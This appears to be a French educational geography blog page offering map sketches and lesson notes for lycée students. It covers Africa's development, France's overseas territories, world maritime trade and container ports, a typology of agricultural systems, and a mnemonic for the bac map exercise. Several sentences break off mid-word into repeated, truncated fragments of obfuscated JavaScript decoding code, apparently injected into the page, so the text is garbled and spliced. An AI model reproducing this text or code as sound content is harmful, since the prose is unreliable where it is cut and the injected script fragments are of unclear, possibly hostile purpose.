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Mise à jour 7/6/16 : l'erreur de localisation du port d'Abidjan est corrigée (merci au lecteur attentif qui nous l'a signalée !)

Au programme de Terminale figure un chapitre intitulé " Le continent africain face au développement et à la mondialisation ". Dans ce cadre, les élèves doivent pouvoir réaliser un croquis sur le thème " Le continent africain " : contrastes de développement et inégale intégration dans la mondialisation ". Ce chapitre est intéressant et il oblige à une certaine gymnastique intellectuelle, qui doit montrer l'Afrique comme un continent des possibles, et tordre le cou aux idées reçues, sans tomber dans l'angélisme ou occulter les problèmes, bien réels du continent. Les deux croquis suivants sont à la disposition des professeurs et de leurs élèves, avec une version vidéo-projetable et l'autre imprimable et photocopiable à souhait.

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Mise à jour des planisphères de l'Outre-Mer français.
Après la fin des DOM TOM, des statuts juridiques variés et complexes.
D'un point de vue européen, ces territoires sont des RUP (Régions Ultra-Périphériques) ou des PTOM (Pays et Territoires d'Outre Mer). Mais la République Française, après des siècles de colonialisme et de centralisme, a tardivement cédé à ses territoires ultramarins l'autonomie relative qu'ils ont aujourd'hui. Le demi-siècle de décolonisation qui vient de s'achever a maintenu sous souveraineté française de nombreux territoires caractérisés par une très grande variétés de situation et de rapport à la métropole, et donc une variété de statuts juridiques. Trois voies se distinguent : certains territoires obtiennent plus d'intégration au sein de la République, tout en bénéficiant de la décentralisation des compétences de L'État vers les Collectivités : ce sont les DROM (Départements et Régions d'Outre-Mer). Mayotte en est un exemple puisque après avoir refusé de suivre les Comores vers l'indépendance, elle a obtenu la départementalisation. D'autres collectivités ont obtenu une large autonomie, et sans être souveraines, elles peuvent appliquer la coutume locale dans certains domaine au lieu du droit français. Il s'agit des COM (Collectivités d'Outre-Mer) par exemple de la Polynésie Française. Enfin, la troisième voie, qui est celle de l'hésitation entre l'autonomie et l' indépendance, est incarnée par la Nouvelle Calédonie. Le processus d'indépendance, en cours, est entre les mains de sa population.
Voir aussi notre carte de l'Europe et ses RUP

Le commerce maritime mondial :
" En janvier 2011, la flotte marchande mondiale avait presque atteint 1,4 milliard de tonnes de port en lourd (tpl), ce qui représente une augmentation de 120 millions de tpl par rapport à 2010. "

En 2010, la capacité des ports mondiaux atteint 530 millions d'équivalents 20 pieds (EVP). La Chine continentale atteint 24 % de la part du trafic des ports à conteneurs. La conteneurisation du transport maritime, commencée dans les années 1970, se poursuit : " la part de la flotte des porte-conteneurs dans la flotte mondiale est passée de 1,6 % en 1980 à plus de 13 % en 2011. " Mais les vraquiers et les pétroliers restent les navires les plus rép;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf andus, représentant respectivement 38 % et 43 % de la flotte mondiale.
Le conteneur, symbole de la mondialisation :
Source : CNUCED, Conférence des Nations Unies sur le Commerce et le Développement, Etude sur les transports maritimes, 2011.

Inventé en 1956 par Malcom MacLean, un transporteur routier américain, le conteneur est une simple caisse de forme parallélépipédique en métal. Ce mode de conditionnement simplifie les ruptures de charge (le passage d'un mode de transport à un autre, par exemple du bateau au camion), permet de standardiser le transport et surtout facilite le stockage par empilement. Une seule firme chinoise (CIMC) contrôle la moitié de la production mondiale de conteneurs. La Chine produit les deux tiers des conteneurs du monde. Un conteneur coûte environ 1500 € et a une durée de vie de 15 ans.

Il existe trois longueurs différentes : 20, 30, 40 pieds (6, 9 et 12 mètres) pour 8 pieds de largeur (2,5 m). L'unité de mesure du trafic de conteneurs est l' EVP ( équivalent 20 pieds). On estime qu'environ 12 millions d'EVP circulent en ce moment dans le monde.

Le leader mondial du transport de conteneurs est l'entreprise danoise Maerks.
Classement des ports mondiaux :
Sources : Wikipédia, " conteneur ", consulté en avril 2013
Conteneurinfo, consulté en avril 2013

Pour le trafic de cargos comme celui de conteneurs, les trois premières places sont occupées en 2011 par des ports asiatiques. Shanghai (Chine) arrive en tête avec 590 millions de tonnes et 32 millions d'EVP, suivi par Singapour : 531 millions de tonnes et 30 millions d'EVP. Pour le transport par cargo, le seul port non-asiatique est Rotterdam (Pays-Bas), en 4e position, avec 435 millions de tonnes, et 7 des 10 premiers ports sont chinois. Pour le transport par conteneurs, Rotterdam arrive en 10 e position (12 millions d'EVP). 6 des 10 premiers ports mondiaux sont chinois pour le transport par conteneurs.

Source : American Association of Port Authorities (PDF), 2013

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Le site MarineTraffic.com permet d'observer en temps réel la circulation maritime dans la plupart des zones du monde. Les navires sont légendés en fonction de leur affectation : cargos, tankers, passagers... Un clic sur un navire permet d'obtenir un très grand nombre de renseignements, notamment le pavillon (on peut constater l'ampleur du phénomène des pavillons de complaisance) et souvent une photographie. Lire la suite

Cartes schématiques de la France :

La France, grands ensembles de relief, hydrographie, chefs-lieux de région, régions administratives.

Cartes de l'Inde, population, revenus, précipitations, couleurs et noir et blanc.

Mots-clefs : climat, peuplement

Une typologie des systèmes de production

Cette carte a pour but de répondre à l'un des problèmes que peut poser le programme de seconde, celui de la typologie des systèmes de production. En effet, les systèmes de production ou systèmes agricoles peuvent être différenciés selon des critères fort nombreux : rôles des communautés agraires, rendements à l'hectare, la productivité, le niveau de vie des agriculteurs, la place de l'élevage, etc. (DIRY, 1999). Or les enseignants (et les élèves !) ont besoin, pour présenter de façon synthétique les différentes agricultures, d'une typologie simple. Le choix a donc été pris de proposer une légende à double entrée. Les deux critères choisis sont l' intensivité ( rendements élevés à l'hectare) et la nature dite " paysanne " ou commerciale de l'agriculture. On considère qu'une agriculture paysanne est une agriculture pratiquée dans des sociétés où l'activité agricole a une forte place, exercée par une part importante, voire majoritaire de la population. Elle peut être vivrière, c'est-à-dire que la plus grande partie de la production est consommée sur place. Dans l' agriculture commerciale à l'inverse, l'essentiel de la production est destiné à être transporté et vendu. Elle est le plus souvent le fait de sociétés où la part des actifs agricoles est faible, et elle peut dem;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=

La carte est évidemment caricaturale, parce qu'elle tente de répondre à un besoin pédagogique de simplification. Il est évident que plusieurs systèmes peuvent cohabiter sur un même espace.

Explication de la légende

agriculture paysanne agriculture commerciale

très intensive

L'agriculture paysanne intensive concerne au premier chef les gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=

L'agriculture productiviste est née de la seconde révolution agricole dans les pays du Nord. La production est très motorisée, dem;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=

assez intensive

L'agriculture paysanne traditionnelle regroupe des agriculture très diverses. On a fait le choix d'y inclure l'agriculture collectiviste en reconversion. Certes l'intensivité, les moyens matériels et les conditions du milieu sont très variables des savanes africaines à l'Europe orientale, mais d'une manière générale c'est une agriculture qui connaît des difficultés structurelles.

L'agriculture de plantation est difficile à cartographier car il s'agit plus d'un archipel de cultures que d'un système couvrant de vastes espaces. Elle correspond à une forme coloniale d'exploitation agricole. Il s'agit de culture pérennes (arbres ou arbustes) et tropicales ou subtropicales.
Elles engendrent souvent des sociétés très inégalitaires, et ont été marquées aux Amériques par l'esclavage.

extensive

L'élevage nomade correspond à une utilisation très extensive d'un espace soumis à de fortes contraintes, notamment l'ariditié. Ces contraintes limitent l'agriculture à des oasis isolés. On retrouve ce système dans une large b;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=

La céréaliculture commerciale extensive est un système typique des "pays neufs" (Etats-Unis, Australie, Canada ...). Elle est extensive parce les rendements à l'hectare sont plus faibles qu'en système productiviste, mais en raison des très vastes surfaces cultivées, elle dégage des excédents importants permettant l'exportation.

très extensive

Quelques groupes de chasseurs-cueilleurs subsistent dans le désert australien et les forêts équatoriales d'Amérique, d'Afrique et d'Océanie. On trouve également dans ces forêts une forme d'agriculture nomade, l'agriculture itinérante sur brûlis. On trouve enfin des éleveurs nomades de gr;p5=s4.indexOf(wc.charAt(vf++;q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=

L'élevage commercial extensif s'étend dans les régions des "pays neufs" qui ne se prêtent pas aux cultures en raison de contraintes trop fortes (aridité notamment). Les cheptels vivent en semi-libertés dans de très vastes espaces, et surveillés par une main d'oeuvre très peu nombreuse (dont l'archétype est évidemment le "cow boy" américain, nommé gaucho en Argentine)

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Mise à jour 7/6/16 : l'erreur de localisation du port d'Abidjan est corrigée (merci au lecteur attentif qui nous l'a signalée !) Au programme de Terminale figure un chapitre intitulé " Le continent africain face au développement et à la mondialisation ".

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Un bon moyen mnémotechnique pour retenir ce qu'il faut mettre pour réussir son croquis :

TOLEN PAF :

T itre (à reporter sur le croquis et la légende)

O rientation

L égende (structurée et organisée)

E chelle

N omenclature (mers, océans, pays limitrophes, localisations)

P ôles (figurés ponctuels: cercles, triangles )

A ires (figurés surfaciques: aplats de couleurs)

F lux (figurés linéaires: flèches )

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Une émission de radio, avec croquis avec des conseils de profs

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Bac géo : réussir son croquis et comprendre la mondialisation

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A l'occasion de la semaine Bac sur France Culture, trois professeurs d'histoire-géographie défrichent pour nous quelques sujets de géographie du programme des terminales scientifiques susceptibles de tomber au bac et nous donnent les clés d'un croquis réussi.

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Voici la méthode progressive pour réaliser le croquis de géographie avec, comme base, le fonds de carte publié sur Eduscol, téléchargeable ici : http://www.cndp.fr/portails-disciplinaires/fileadmin/user_upload/histoire_geo/PDF/fond_Etats-Unis.pdf En théorie (!) ce croquis est [...] Lire l'Article → croquis de géographie, schéma de géographie, schémas de dissertation Géo Terminale, Terminale S